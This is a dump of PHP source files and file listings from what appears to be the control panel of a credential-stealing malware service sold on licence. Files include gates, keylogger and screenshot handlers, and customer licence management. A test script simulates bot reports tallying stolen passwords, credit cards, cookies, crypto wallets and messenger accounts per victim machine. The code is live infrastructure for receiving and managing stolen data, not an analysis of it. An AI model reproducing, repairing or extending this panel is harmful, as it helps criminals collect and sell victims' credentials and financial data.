                  fetch('extend_license_ajax.php', {
                      method: 'POST',
                      body: formData
                  })
                  .then(response => response.json())
                  .then(data => {
                      // Re-enable inputs
                      daysInput.disabled = false;
                      extendBtn.disabled = false;
                      extendBtn.innerHTML = originalBtnText;

                      if (data.success) {
                          // Show success and reload users
                          alert('License extended successfully!');
                          // Check if we're in an iframe or directly on the page
                          if (typeof parent.loadUsers === 'function') {
                              parent.loadUsers();
                          } else {
                              location.reload();
                          }
                      } else {
                          alert('Error: ' + data.message);
                      }
                  })
                  .catch(error => {
                      // Re-enable inputs
                      daysInput.disabled = false;
                      extendBtn.disabled = false;
                      extendBtn.innerHTML = originalBtnText;

                      alert('Error: ' + error.message);
                  });
              } else {
                  alert('Please enter a valid number of days.');
              }
          }
      }

      function setLifetime(userId) {
          if (confirm('Set this license to never expire (lifetime)?')) {
              // Create form data
              const formData = new FormData();
              formData.append('user_id', userId);
              formData.append('action', 'lifetime');

              // Submit with fetch
              fetch('extend_license_ajax.php', {
                  method: 'POST',
                  body: formData
              })
              .then(response => response.json())
              .then(data => {
                  if (data.success) {
                      // Check if we're in an iframe or directly on the page
                      if (typeof parent.loadUsers === 'function') {
                          parent.loadUsers();
                      } else {
                          location.reload();
                      }
                      alert('License set to lifetime!');
                  } else {
                      alert('Error: ' + data.message);
                  }
              })
              .catch(error => {
                  alert('Error: ' + error.message);
              });
          }
      }
      </script>
      EOT;

          // Add styling
          echo '<style>
          .license-tools {
              display: flex;
              justify-content: space-between;
              align-items: center;
              margin-bottom: 20px;
              background: rgba(19, 19, 31, 0.85);
              border: 1px solid rgba(0, 255, 255, 0.2);
              border-radius: 15px;
              padding: 20px;
          }

          .license-form {
              display: flex;
              align-items: center;
              gap: 15px;
          }

          .license-form .form-group {
              margin-bottom: 0;
              min-width: 200px;
          }

          .user-actions {
              display: flex;
              gap: 5px;
              flex-wrap: wrap;
              align-items: center;
          }

          .license-row.expired {
              background-color: rgba(255, 67, 67, 0.05) !important;
          }

          .license-row.critical {
              background-color: rgba(255, 67, 67, 0.03) !important;
          }

          .license-row.warning {
              background-color: rgba(255, 165, 0, 0.03) !important;
          }

          .license-row.lifetime {
              background-color: rgba(0, 255, 128, 0.05) !important;
          }

          .license-row:hover {
              background-color: rgba(0, 255, 255, 0.05) !important;
          }

          .license-extend-box {
              display: flex;
              align-items: center;
              gap: 5px;
              margin-right: 5px;
          }

          .extend-days {
              width: 50px;
              height: 30px;
              background: rgba(0, 0, 0, 0.2);
              border: 1px solid rgba(0, 255, 255, 0.2);
              border-radius: 5px;
              color: #ffffff;
              text-align: center;
              padding: 0 5px;
          }

          .extend-btn {
              height: 30px;
              display: flex;
              align-items: center;
              justify-content: center;
              white-space: nowrap;
          }

          .btn-success {
              background: transparent;
              border: 1px solid #00ff80;
              color: #00ff80;
          }

          .btn-success:hover {
              background: rgba(0, 255, 128, 0.2);
              color: #00ff80;
          }

          .fas.fa-infinity {
              font-size: 12px;
              margin-right: 3px;
          }
          </style>';
      } else {
          echo '<div class="cyber-notification">
              <i class="fas fa-info-circle"></i>
              <span>No users found in the database.</span>
          </div>';
      }
      ?>

- .\Panel\get_users_backup_basic_2025-05-15_16-01-33.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Access Denied</span>
          </div>';
          exit;
      }

      // Get all users
      $users_query = "SELECT id_user, username, license_status, license_start, license_expiry FROM users ORDER BY id_user";
      $users_result = mysqli_query($condb, $users_query);

      if (mysqli_num_rows($users_result) > 0) {
          // Output HTML table with users
          echo '<div class="license-tools">
              <form method="POST" action="user_actions.php" class="license-form">
                  <div class="form-group">
                      <label>Bulk Action</label>
                      <select name="bulk_action" class="form-control">
                          <option value="activate">Activate License</option>
                          <option value="suspend">Suspend License</option>
                          <option value="expire">Expire License</option>
                          <option value="delete">Delete Users</option>
                      </select>
                  </div>
                  <button type="submit" class="btn btn-primary bulk-action-btn">Apply to Selected</button>
              </form>
          </div>';

          echo '<div class="table-responsive">
              <table class="table table-hover">
                  <thead>
                      <tr>
                          <th><input type="checkbox" id="select-all"></th>
                          <th>ID</th>
                          <th>Username</th>
                          <th>Status</th>
                          <th>Start Date</th>
                          <th>Expiry Date</th>
                          <th>Actions</th>
                      </tr>
                  </thead>
                  <tbody>';

          while ($user = mysqli_fetch_assoc($users_result)) {
              // Determine status class for coloring
              $status_class = '';
              switch ($user['license_status']) {
                  case 'active':
                      $status_class = 'success';
                      break;
                  case 'suspended':
                      $status_class = 'warning';
                      break;
                  case 'expired':
                      $status_class = 'danger';
                      break;
                  default:
                      $status_class = 'secondary';
              }

              // Format expiry date
              $expiry_date_formatted = 'N/A';
              if ($user['license_expiry'] === NULL) {
                  $expiry_date_formatted = '<span style="color:#00ff80;">Γê₧ Lifetime</span>';
              } else if (!empty($user['license_expiry'])) {
                  $expiry_date_formatted = date('Y-m-d', strtotime($user['license_expiry']));
              }

              echo '<tr>
                  <td><input type="checkbox" name="selected_users[]" value="' . $user['id_user'] . '" class="user-select"></td>
                  <td>' . $user['id_user'] . '</td>
                  <td>' . htmlspecialchars($user['username']) . '</td>
                  <td><span class="label label-' . $status_class . '">' . ucfirst($user['license_status']) . '</span></td>
                  <td>' . ($user['license_start'] ? date('Y-m-d', strtotime($user['license_start'])) : 'N/A') . '</td>
                  <td>' . $expiry_date_formatted . '</td>
                  <td>
                      <div class="user-actions">
                          <button class="btn btn-xs btn-danger" onclick="if(confirm(\'Are you sure you want to delete this user?\')) window.location.href=\'delete_user.php?id=' . $user['id_user'] . '\';"><i class="fas fa-trash"></i> Delete</button>
                      </div>
                  </td>
              </tr>';
          }

          echo '</tbody>
              </table>
          </div>';

          // Add JavaScript for checkboxes
          echo '<script>
          document.addEventListener("DOMContentLoaded", function() {
              const selectAll = document.getElementById("select-all");
              const userCheckboxes = document.querySelectorAll(".user-select");

              selectAll.addEventListener("change", function() {
                  userCheckboxes.forEach(checkbox => {
                      checkbox.checked = selectAll.checked;
                  });
              });
          });
          </script>';

          // Add styling
          echo '<style>
          .license-tools {
              display: flex;
              justify-content: space-between;
              align-items: center;
              margin-bottom: 20px;
              background: rgba(19, 19, 31, 0.85);
              border: 1px solid rgba(0, 255, 255, 0.2);
              border-radius: 15px;
              padding: 20px;
          }

          .license-form {
              display: flex;
              align-items: center;
              gap: 15px;
          }

          .license-form .form-group {
              margin-bottom: 0;
              min-width: 200px;
          }

          .user-actions {
              display: flex;
              gap: 5px;
              flex-wrap: wrap;
              align-items: center;
          }
          </style>';
      } else {
          echo '<div class="cyber-notification">
              <i class="fas fa-info-circle"></i>
              <span>No users found in the database.</span>
          </div>';
      }
      ?>

- .\Panel\quick_extend.php - View Code

      <?php
      // Only start session if one isn't already active
      if (session_status() == PHP_SESSION_NONE) {
          session_start();
      }

      error_reporting(E_ALL);
      ini_set('display_errors', 1);

      // Include database connection
      require_once("config.php");
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check connection
      if (!isset($condb) || $condb->connect_error) {
          die("Database connection failed: " . ($condb->connect_error ?? "Unknown error"));
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit('Access Denied: Admin privileges required');
      }

      // Check if license_expiry column exists
      $checkLicenseExpiry = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $hasLicenseExpiry = ($checkLicenseExpiry && $checkLicenseExpiry->num_rows > 0);

      if (!$hasLicenseExpiry) {
          // Check for the backup column name license_end
          $checkLicenseEnd = $condb->query("SHOW COLUMNS FROM users LIKE 'license_end'");
          $hasLicenseEnd = ($checkLicenseEnd && $checkLicenseEnd->num_rows > 0);

          $expiryColumn = $hasLicenseEnd ? 'license_end' : null;
      } else {
          $expiryColumn = 'license_expiry';
      }

      // Check parameters
      if (!isset($_POST['user_id']) || !is_numeric($_POST['user_id']) || !isset($_POST['days']) || !is_numeric($_POST['days'])) {
          header("Location: cyberok.php?error=Invalid parameters");
          exit;
      }

      $user_id = intval($_POST['user_id']);
      $days = intval($_POST['days']);

      if ($days < 1) {
          header("Location: cyberok.php?error=Days must be at least 1");
          exit;
      }

      // Don't allow extending the current admin user
      $check_admin = mysqli_query($condb, "SELECT username FROM users WHERE id_user = $user_id");
      if (!$check_admin) {
          header("Location: cyberok.php?error=User not found");
          exit;
      }

      $user = mysqli_fetch_assoc($check_admin);

      if (!$user) {
          header("Location: cyberok.php?error=User not found");
          exit;
      }

      if (!$expiryColumn) {
          header("Location: cyberok.php?error=License expiry column not found in database");
          exit;
      }

      // Get current expiry date
      $checkExpiryQuery = "SELECT $expiryColumn FROM users WHERE id_user = $user_id";
      $checkResult = mysqli_query($condb, $checkExpiryQuery);
      $expiryRow = mysqli_fetch_assoc($checkResult);

      $currentDate = new DateTime();

      if ($expiryRow && $expiryRow[$expiryColumn] && strtotime($expiryRow[$expiryColumn]) > time()) {
          // If valid expiry date exists, extend from that date
          $expiryDate = new DateTime($expiryRow[$expiryColumn]);
      } else {
          // Otherwise use current date
          $expiryDate = $currentDate;
      }

      // Add the specified days
      $expiryDate->modify("+$days days");

      // Format for MySQL
      $newExpiryDate = $expiryDate->format('Y-m-d H:i:s');

      // Update database
      $sql = "UPDATE users SET $expiryColumn = '$newExpiryDate', license_status = 'active' WHERE id_user = $user_id";
      $result = mysqli_query($condb, $sql);

      if ($result) {
          header("Location: cyberok.php?success=License extended by $days days");
      } else {
          header("Location: cyberok.php?error=Failed to extend license: " . mysqli_error($condb));
      }

      exit;
      ?>

- .\Panel\suspend_license.php - View Code

      <?php
      session_start();
      error_reporting(E_ALL);
      ini_set('display_errors', 1);

      // Include database connection
      require_once("config.php");
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check connection
      if (!isset($condb) || $condb->connect_error) {
          die("Database connection failed: " . ($condb->connect_error ?? "Unknown error"));
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit('Access Denied: Admin privileges required');
      }

      // Check if ID is provided
      if(!isset($_GET['id']) || !is_numeric($_GET['id'])) {
          header("Location: cyberok.php");
          exit;
      }

      $user_id = intval($_GET['id']);

      // Don't allow suspending the current admin user
      $check_admin = mysqli_query($condb, "SELECT username FROM users WHERE id_user = $user_id");
      $user = mysqli_fetch_assoc($check_admin);

      if($user && $user['username'] === 'cybervax') {
          // Redirect with error
          header("Location: cyberok.php?error=Cannot suspend admin account");
          exit;
      }

      // Suspend the user's license
      $update_query = "UPDATE users SET license_status = 'suspended' WHERE id_user = $user_id";
      $result = mysqli_query($condb, $update_query);

      if($result) {
          header("Location: cyberok.php?success=License suspended successfully");
      } else {
          header("Location: cyberok.php?error=Failed to suspend license: " . mysqli_error($condb));
      }

      exit;
      ?>

- .\Panel\test_update_logs.php - View Code

      <?php
      // Include config first
      require_once __DIR__ . '/config.php';
      require_once __DIR__ . '/debug_log.php';
      require_once __DIR__ . '/logs.php';

      // Enable error reporting
      error_reporting(E_ALL);
      ini_set('display_errors', 1);
      ini_set('log_errors', 1);
      ini_set('error_log', __DIR__ . '/error_log.txt');

      // Clear previous debug log
      file_put_contents(__DIR__ . '/panel_debug.log', '');

      writeDebugLog("=== STARTING REAL DATA TEST ===");

      // Use a real HWID format
      $testHWID = 'LBBFEBFBFF000B06A2admin'; // Using the format from your error log

      // Simulate real stub data
      $stubData = [
          'hwid' => $testHWID,
          'username' => 'cybervax',
          'passwords' => 25,
          'creditcards' => 10,
          'cookies' => 50,
          'autofill' => 15,
          'wallets' => 3,
          'vpn' => 2,
          'telegram' => 1,
          'steam' => 1,
          'gaming' => 2,
          'othermessengers' => 2,
          'discord' => 1,
          'devtools' => 4,
          'emailclients' => 3,
          'passwordmanagers' => 2,
          'remoteaccess' => 1,
          'cloudstorage' => 2,
          'browserextended' => 3,
          'country' => 'US',
          'ip' => '192.168.1.' . rand(1, 254)
      ];

      writeDebugLog("Testing with real HWID format: " . $testHWID);
      writeDebugLog("Data to be sent:");
      foreach ($stubData as $key => $value) {
          writeDebugLog("$key: $value");
      }

      // First check if record exists
      $checkQuery = "SELECT * FROM logs WHERE hwid = ?";
      $stmt = mysqli_prepare($condb, $checkQuery);
      if (!$stmt) {
          writeDebugLog("Check prepare error: " . mysqli_error($condb));
      }
      mysqli_stmt_bind_param($stmt, "s", $testHWID);
      mysqli_stmt_execute($stmt);
      $result = mysqli_stmt_get_result($stmt);
      $existingRecord = mysqli_fetch_assoc($result);

      if ($existingRecord) {
          writeDebugLog("\nExisting record found:");
          writeDebugLog("id_log: " . $existingRecord['id_log']);
          writeDebugLog("username: " . $existingRecord['username']);
          writeDebugLog("Passwords: " . $existingRecord['Passwords']);
          writeDebugLog("CreditCards: " . $existingRecord['CreditCards']);
          writeDebugLog("Cookies: " . $existingRecord['Cookies']);
          writeDebugLog("last_updated: " . $existingRecord['last_updated']);
      } else {
          writeDebugLog("\nNo existing record found - will create new");
      }

      // Call updateLogsWithUsername with the simulated real data
      writeDebugLog("\nCalling updateLogsWithUsername...");
      $result = updateLogsWithUsername(
          $stubData['hwid'],
          $stubData['username'],
          $stubData['passwords'],
          $stubData['creditcards'],
          $stubData['cookies'],
          $stubData['autofill'],
          $stubData['wallets'],
          $stubData['vpn'],
          $stubData['telegram'],
          $stubData['steam'],
          $stubData['gaming'],
          $stubData['othermessengers'],
          $stubData['discord'],
          $stubData['devtools'],
          $stubData['emailclients'],
          $stubData['passwordmanagers'],
          $stubData['remoteaccess'],
          $stubData['cloudstorage'],
          $stubData['browserextended'],
          $stubData['country'],
          $stubData['ip']
      );

      writeDebugLog("\nUpdate Result: " . ($result ? "Success" : "Failed"));

      // Verify the record after update
      $verifyQuery = "SELECT * FROM logs WHERE hwid = ?";
      $stmt = mysqli_prepare($condb, $verifyQuery);
      if (!$stmt) {
          writeDebugLog("Verify prepare error: " . mysqli_error($condb));
      }
      mysqli_stmt_bind_param($stmt, "s", $testHWID);
      mysqli_stmt_execute($stmt);
      $result = mysqli_stmt_get_result($stmt);
      $record = mysqli_fetch_assoc($result);

      writeDebugLog("\nVerifying Record After Update:");
      if ($record) {
          writeDebugLog("id_log: " . $record['id_log']);
          writeDebugLog("username: " . $record['username']);
          writeDebugLog("Passwords: " . $record['Passwords']);
          writeDebugLog("CreditCards: " . $record['CreditCards']);
          writeDebugLog("Cookies: " . $record['Cookies']);
          writeDebugLog("AutoFill: " . $record['AutoFill']);
          writeDebugLog("Wallets: " . $record['Wallets']);
          writeDebugLog("VPN: " . $record['VPN']);
          writeDebugLog("Telegram: " . $record['Telegram']);
          writeDebugLog("Steam: " . $record['Steam']);
          writeDebugLog("Gaming: " . $record['Gaming']);
          writeDebugLog("OtherMessengers: " . $record['OtherMessengers']);
          writeDebugLog("Discord: " . $record['Discord']);
          writeDebugLog("DevTools: " . $record['DevTools']);
          writeDebugLog("EmailClients: " . $record['EmailClients']);
          writeDebugLog("PasswordManagers: " . $record['PasswordManagers']);
          writeDebugLog("RemoteAccess: " . $record['RemoteAccess']);
          writeDebugLog("CloudStorage: " . $record['CloudStorage']);
          writeDebugLog("BrowserExtended: " . $record['BrowserExtended']);
          writeDebugLog("last_updated: " . $record['last_updated']);
          writeDebugLog("domains: " . $record['domains']);
      } else {
          writeDebugLog("Record not found after update!");
      }

      // Show error log
      writeDebugLog("\n=== ERROR LOG ===");
      if (file_exists(__DIR__ . '/error_log.txt')) {
          writeDebugLog(file_get_contents(__DIR__ . '/error_log.txt'));
      } else {
          writeDebugLog("No error log found");
      }

      writeDebugLog("\n=== TEST COMPLETED ===");
      writeDebugLog("Check panel_debug.log for detailed results");

      // Display the debug log
      echo "<pre>";
      echo file_get_contents(__DIR__ . '/panel_debug.log');
      echo "</pre>";
      ?>

- .\Panel\update_schema.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check if user is logged in and is admin
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit;
      }

      // Function to check if a column exists
      function columnExists($condb, $table, $column) {
          $checkColumn = $condb->query("SHOW COLUMNS FROM {$table} LIKE '{$column}'");
          return ($checkColumn && $checkColumn->num_rows > 0);
      }

      // Variables to track updates
      $updates = [];
      $errors = [];

      // Add license_expiry column if it doesn't exist
      if (!columnExists($condb, 'users', 'license_expiry')) {
          try {
              if ($condb->query("ALTER TABLE users ADD COLUMN license_expiry DATETIME NULL DEFAULT NULL AFTER license_start")) {
                  $updates[] = "Added 'license_expiry' column to users table";
              } else {
                  $errors[] = "Failed to add 'license_expiry' column: " . $condb->error;
              }
          } catch (Exception $e) {
              $errors[] = "Exception adding 'license_expiry' column: " . $e->getMessage();
          }
      } else {
          $updates[] = "Column 'license_expiry' already exists";
      }

      // Update existing users to set license_expiry
      if (columnExists($condb, 'users', 'license_expiry')) {
          try {
              // Add 30 days from now for all users without expiry
              $thirtyDays = date('Y-m-d H:i:s', strtotime("+30 days"));
              if ($condb->query("UPDATE users SET license_expiry = '{$thirtyDays}' WHERE license_expiry IS NULL AND license_status = 'active'")) {
                  $updates[] = "Updated existing active users with default 30-day expiry";
              } else {
                  $errors[] = "Failed to update existing users: " . $condb->error;
              }
          } catch (Exception $e) {
              $errors[] = "Exception updating existing users: " . $e->getMessage();
          }
      }

      // Handle form submission to run schema updates
      $actionPerformed = false;

      if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
          $actionPerformed = true;

          if ($_POST['action'] === 'add_expiry_column') {
              if (!columnExists($condb, 'users', 'license_expiry')) {
                  try {
                      if ($condb->query("ALTER TABLE users ADD COLUMN license_expiry DATETIME NULL DEFAULT NULL AFTER license_start")) {
                          $updates[] = "Successfully added 'license_expiry' column to users table";
                      } else {
                          $errors[] = "Failed to add 'license_expiry' column: " . $condb->error;
                      }
                  } catch (Exception $e) {
                      $errors[] = "Exception adding 'license_expiry' column: " . $e->getMessage();
                  }
              } else {
                  $updates[] = "Column 'license_expiry' already exists";
              }
          } elseif ($_POST['action'] === 'set_all_lifetime') {
              if (columnExists($condb, 'users', 'license_expiry')) {
                  try {
                      // Set all users to lifetime (NULL expiry)
                      if ($condb->query("UPDATE users SET license_expiry = NULL, license_status = 'active'")) {
                          $updates[] = "All users have been set to lifetime licenses";
                      } else {
                          $errors[] = "Failed to update users to lifetime: " . $condb->error;
                      }
                  } catch (Exception $e) {
                      $errors[] = "Exception setting users to lifetime: " . $e->getMessage();
                  }
              } else {
                  $errors[] = "License expiry column does not exist yet";
              }
          } elseif ($_POST['action'] === 'fix_null_dates') {
              try {
                  // Fix NULL license_start dates
                  $condb->query("UPDATE users SET license_start = NOW() WHERE license_start IS NULL");

                  // Ensure users with NULL license_expiry have 'active' status
                  $condb->query("UPDATE users SET license_status = 'active' WHERE license_expiry IS NULL");

                  // Set default license_expiry for users without one (except lifetime users)
                  $condb->query("UPDATE users SET license_expiry = DATE_ADD(NOW(), INTERVAL 30 DAY) WHERE license_expiry IS NULL AND license_start IS NOT NULL");

                  $updates[] = "Fixed missing dates and ensured proper license statuses";
              } catch (Exception $e) {
                  $errors[] = "Error fixing dates: " . $e->getMessage();
              }
          }
      }
      ?>

      <!DOCTYPE html>
      <html>
      <head>
          <title>Database Schema Update</title>
          <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
          <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
          <style>
              body {
                  background: #0a0a0f;
                  color: #ffffff;
                  font-family: 'Arial', sans-serif;
              }

              .container {
                  padding-top: 30px;
              }

              .schema-panel {
                  background: rgba(19, 19, 31, 0.85);
                  border-radius: 15px;
                  box-shadow: 0 0 30px rgba(0, 0, 0, 0.3),
                              inset 0 0 2px rgba(0, 255, 255, 0.1);
                  overflow: hidden;
                  border: 1px solid rgba(0, 255, 255, 0.2);
                  margin-bottom: 30px;
                  padding: 20px;
              }

              .schema-panel h3 {
                  color: #00f3ff;
                  font-family: 'Orbitron', sans-serif;
                  margin-bottom: 20px;
                  border-bottom: 1px solid rgba(0, 255, 255, 0.2);
                  padding-bottom: 10px;
              }

              .update-item {
                  background: rgba(0, 255, 128, 0.1);
                  border: 1px solid rgba(0, 255, 128, 0.2);
                  padding: 10px 15px;
                  border-radius: 5px;
                  margin-bottom: 10px;
              }

              .error-item {
                  background: rgba(255, 67, 67, 0.1);
                  border: 1px solid rgba(255, 67, 67, 0.2);
                  padding: 10px 15px;
                  border-radius: 5px;
                  margin-bottom: 10px;
              }

              .update-actions {
                  margin-top: 20px;
                  border-top: 1px solid rgba(0, 255, 255, 0.2);
                  padding-top: 20px;
              }

              .btn-cyber {
                  background: transparent;
                  border: 2px solid #00f3ff;
                  color: #00f3ff;
                  border-radius: 8px;
                  padding: 10px 20px;
                  font-weight: 500;
                  transition: all 0.3s ease;
                  margin-right: 10px;
              }

              .btn-cyber:hover {
                  background: #00f3ff;
                  color: #0a0a0f;
                  box-shadow: 0 0 15px rgba(0, 243, 255, 0.4);
              }
          </style>
      </head>
      <body>

      <div class="container">
          <div class="row">
              <div class="col-md-12">
                  <div class="schema-panel">
                      <h3><i class="fas fa-database"></i> Database Schema Update</h3>

                      <div class="panel-content">
                          <h4>Current Schema Status:</h4>

                          <?php if (columnExists($condb, 'users', 'license_expiry')): ?>
                              <div class="update-item">
                                  <i class="fas fa-check-circle"></i> License expiry column exists in users table.
                              </div>
                          <?php else: ?>
                              <div class="error-item">
                                  <i class="fas fa-exclamation-triangle"></i> License expiry column does not exist in users table.
                              </div>
                          <?php endif; ?>

                          <?php if (!empty($updates)): ?>
                              <h4>Updates:</h4>
                              <?php foreach ($updates as $update): ?>
                                  <div class="update-item">
                                      <i class="fas fa-check-circle"></i> <?php echo $update; ?>
                                  </div>
                              <?php endforeach; ?>
                          <?php endif; ?>

                          <?php if (!empty($errors)): ?>
                              <h4>Errors:</h4>
                              <?php foreach ($errors as $error): ?>
                                  <div class="error-item">
                                      <i class="fas fa-exclamation-triangle"></i> <?php echo $error; ?>
                                  </div>
                              <?php endforeach; ?>
                          <?php endif; ?>

                          <?php if ($actionPerformed): ?>
                              <div class="update-item">
                                  <i class="fas fa-info-circle"></i> Schema update actions completed.
                              </div>
                          <?php endif; ?>

                          <div class="update-actions">
                              <form method="POST" action="">
                                  <input type="hidden" name="action" value="add_expiry_column">
                                  <button type="submit" class="btn btn-cyber" <?php echo columnExists($condb, 'users', 'license_expiry') ? 'disabled' : ''; ?>>
                                      <i class="fas fa-plus-circle"></i> Add License Expiry Column
                                  </button>

                                  <?php if (columnExists($condb, 'users', 'license_expiry')): ?>
                                  <button type="submit" name="action" value="set_all_lifetime" class="btn btn-cyber">
                                      <i class="fas fa-infinity"></i> Set All Users to Lifetime
                                  </button>
                                  <?php endif; ?>

                                  <button type="submit" name="action" value="fix_null_dates" class="btn btn-cyber">
                                      <i class="fas fa-calendar-check"></i> Fix Missing Dates
                                  </button>

                                  <a href="cyberok.php" class="btn btn-cyber">
                                      <i class="fas fa-arrow-left"></i> Back to Admin Panel
                                  </a>
                              </form>
                          </div>
                      </div>
                  </div>
              </div>
          </div>
      </div>

      </body>
      </html>

- .\Panel\user_actions.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Final check if $condb is still not defined
      if (!isset($condb)) {
          header('Content-Type: application/json');
          echo json_encode(['error' => 'Database connection error']);
          exit;
      }

      // Check if license_expiry column exists
      $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $licenseExpiryExists = ($checkColumn && $checkColumn->num_rows > 0);

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          if(isset($_POST['action']) && $_POST['action'] === 'delete') {
              // For AJAX requests
              header('Content-Type: application/json');
              echo json_encode(['success' => false, 'message' => 'Access denied. Admin privileges required.']);
          } else {
              header("Location: index.php");
          }
          exit;
      }

      // Handle individual user deletion via AJAX
      if(isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['user_id'])) {
          $user_id = intval($_POST['user_id']);

          header('Content-Type: application/json');
          $response = ['success' => false, 'message' => ''];

          // Delete user
          $delete_user = $condb->prepare("DELETE FROM users WHERE id_user = ?");
          $delete_user->bind_param("i", $user_id);

          if($delete_user->execute()) {
              $response['success'] = true;
              $response['message'] = 'User deleted successfully';
          } else {
              $response['message'] = 'Error deleting user: ' . $condb->error;
          }

          $delete_user->close();
          echo json_encode($response);
          exit;
      }

      // Handle bulk actions
      if(isset($_POST['bulk_action']) && isset($_POST['selected_users']) && is_array($_POST['selected_users'])) {
          $bulk_action = $_POST['bulk_action'];
          $selected_users = array_map('intval', $_POST['selected_users']);

          if(empty($selected_users)) {
              echo "No users selected.";
              exit;
          }

          // Convert array to comma-separated list for SQL IN clause
          $user_ids = implode(',', $selected_users);

          switch($bulk_action) {
              case 'activate':
                  $sql = "UPDATE users SET license_status = 'active' WHERE id_user IN ($user_ids)";
                  break;

              case 'suspend':
                  $sql = "UPDATE users SET license_status = 'suspended' WHERE id_user IN ($user_ids)";
                  break;

              case 'expire':
                  $sql = "UPDATE users SET license_status = 'expired' WHERE id_user IN ($user_ids)";
                  break;

              case 'delete':
                  $sql = "DELETE FROM users WHERE id_user IN ($user_ids)";
                  break;

              default:
                  echo "Invalid action.";
                  exit;
          }

          if(mysqli_query($condb, $sql)) {
              echo "Action completed successfully.";
          } else {
              echo "Error executing action: " . mysqli_error($condb);
          }

          exit;
      }

      // If no valid action was found
      header("Location: cyberok.php");
      exit;
      ?>

- .\remove_cybervax.php

## Files Accepting HTTP Requests

- .\direct_update.php
- .\full_request_debug.php
- .\gate.php
- .\gate_fixed.php
- .\gate_universal.php
- .\get_latest_stats.php
- .\identify_entry_points.php
- .\inspect_logs.php
- .\keylogs.php
- .\logs.php
- .\Panel\backup.php
- .\Panel\check.php
- .\Panel\check_db.php
- .\Panel\check_favorite.php
- .\Panel\check_new_logs.php
- .\Panel\convert.php
- .\Panel\create_account.php
- .\Panel\cyberok.php
- .\Panel\date_fixer.php
- .\Panel\delete_logs.php
- .\Panel\delete_user.php
- .\Panel\download_logs.php
- .\Panel\edit_user.php
- .\Panel\extend_license.php
- .\Panel\extend_licenses.php
- .\Panel\extend_license_ajax.php
- .\Panel\fix_admin.php
- .\Panel\fix_passwords.php
- .\Panel\keylogger.php
- .\Panel\login.php
- .\Panel\logs.php
- .\Panel\logs_original.php
- .\Panel\manage_licenses.php
- .\Panel\news.php
- .\Panel\quick_extend.php
- .\Panel\save_favorite.php
- .\Panel\screenshot.php
- .\Panel\settings.php
- .\Panel\show.php
- .\Panel\suspend_license.php
- .\Panel\tasks.php
- .\Panel\test_bot_upload.php
- .\Panel\test_telegram.php
- .\Panel\test_zip_upload.php
- .\Panel\toggle_favorite.php
- .\Panel\update_all_passwords.php
- .\Panel\update_profile.php
- .\Panel\update_schema.php
- .\Panel\update_stats.php
- .\Panel\user_actions.php
- .\Panel\view_file.php
- .\Panel\view_log.php
- .\panel_fix.php
- .\raw_post_debug.php
- .\refresh_domains.php
- .\refresh_panel.php
- .\refresh_stats.php
- .\screen.php
- .\task.php
- .\test_gate.php
- .\test_post.php
- .\update_all_stats.php

## Files Interacting with Database

- .\check_database.php
- .\check_tables.php
- .\config.php
- .\direct_update.php
- .\gate.php
- .\gate_fixed.php
- .\gate_universal.php
- .\get_latest_stats.php
- .\identify_entry_points.php
- .\inspect_logs.php
- .\keylogs.php
- .\logs.php
- .\Panel\backup.php
- .\Panel\bot_map.php
- .\Panel\check.php
- .\Panel\check_favorite.php
- .\Panel\check_license_columns.php
- .\Panel\check_logs_cli.php
- .\Panel\check_new_logs.php
- .\Panel\check_tables.php
- .\Panel\count.php
- .\Panel\counterbar.php
- .\Panel\cyberok.php
- .\Panel\date_fixer.php
- .\Panel\debug_admin.php
- .\Panel\delete_logs.php
- .\Panel\delete_user.php
- .\Panel\edit_user.php
- .\Panel\extend_license.php
- .\Panel\extend_licenses.php
- .\Panel\extend_license_ajax.php
- .\Panel\fix_admin.php
- .\Panel\fix_passwords.php
- .\Panel\function.php
- .\Panel\get_licenses.php
- .\Panel\get_stats.php
- .\Panel\get_users.php
- .\Panel\get_users_backup_2025-05-15_15-50-01.php
- .\Panel\get_users_backup_basic_2025-05-15_16-01-33.php
- .\Panel\header.php
- .\Panel\index.php
- .\Panel\keylogger.php
- .\Panel\logs.php
- .\Panel\logs_original.php
- .\Panel\news.php
- .\Panel\profile.php
- .\Panel\quick_extend.php
- .\Panel\save_favorite.php
- .\Panel\settings.php
- .\Panel\show.php
- .\Panel\suspend_license.php
- .\Panel\tasks.php
- .\Panel\telegram_notify.php
- .\Panel\temp_fix.php
- .\Panel\test_bot_upload.php
- .\Panel\test_telegram_settings.php
- .\Panel\test_update_logs.php
- .\Panel\test_zip_upload.php
- .\Panel\toggle_favorite.php
- .\Panel\update_all_passwords.php
- .\Panel\update_logs_table.php
- .\Panel\update_null_usernames.php
- .\Panel\update_profile.php
- .\Panel\update_schema.php
- .\Panel\update_settings_table.php
- .\Panel\update_stats.php
- .\Panel\update_tasks_table.php
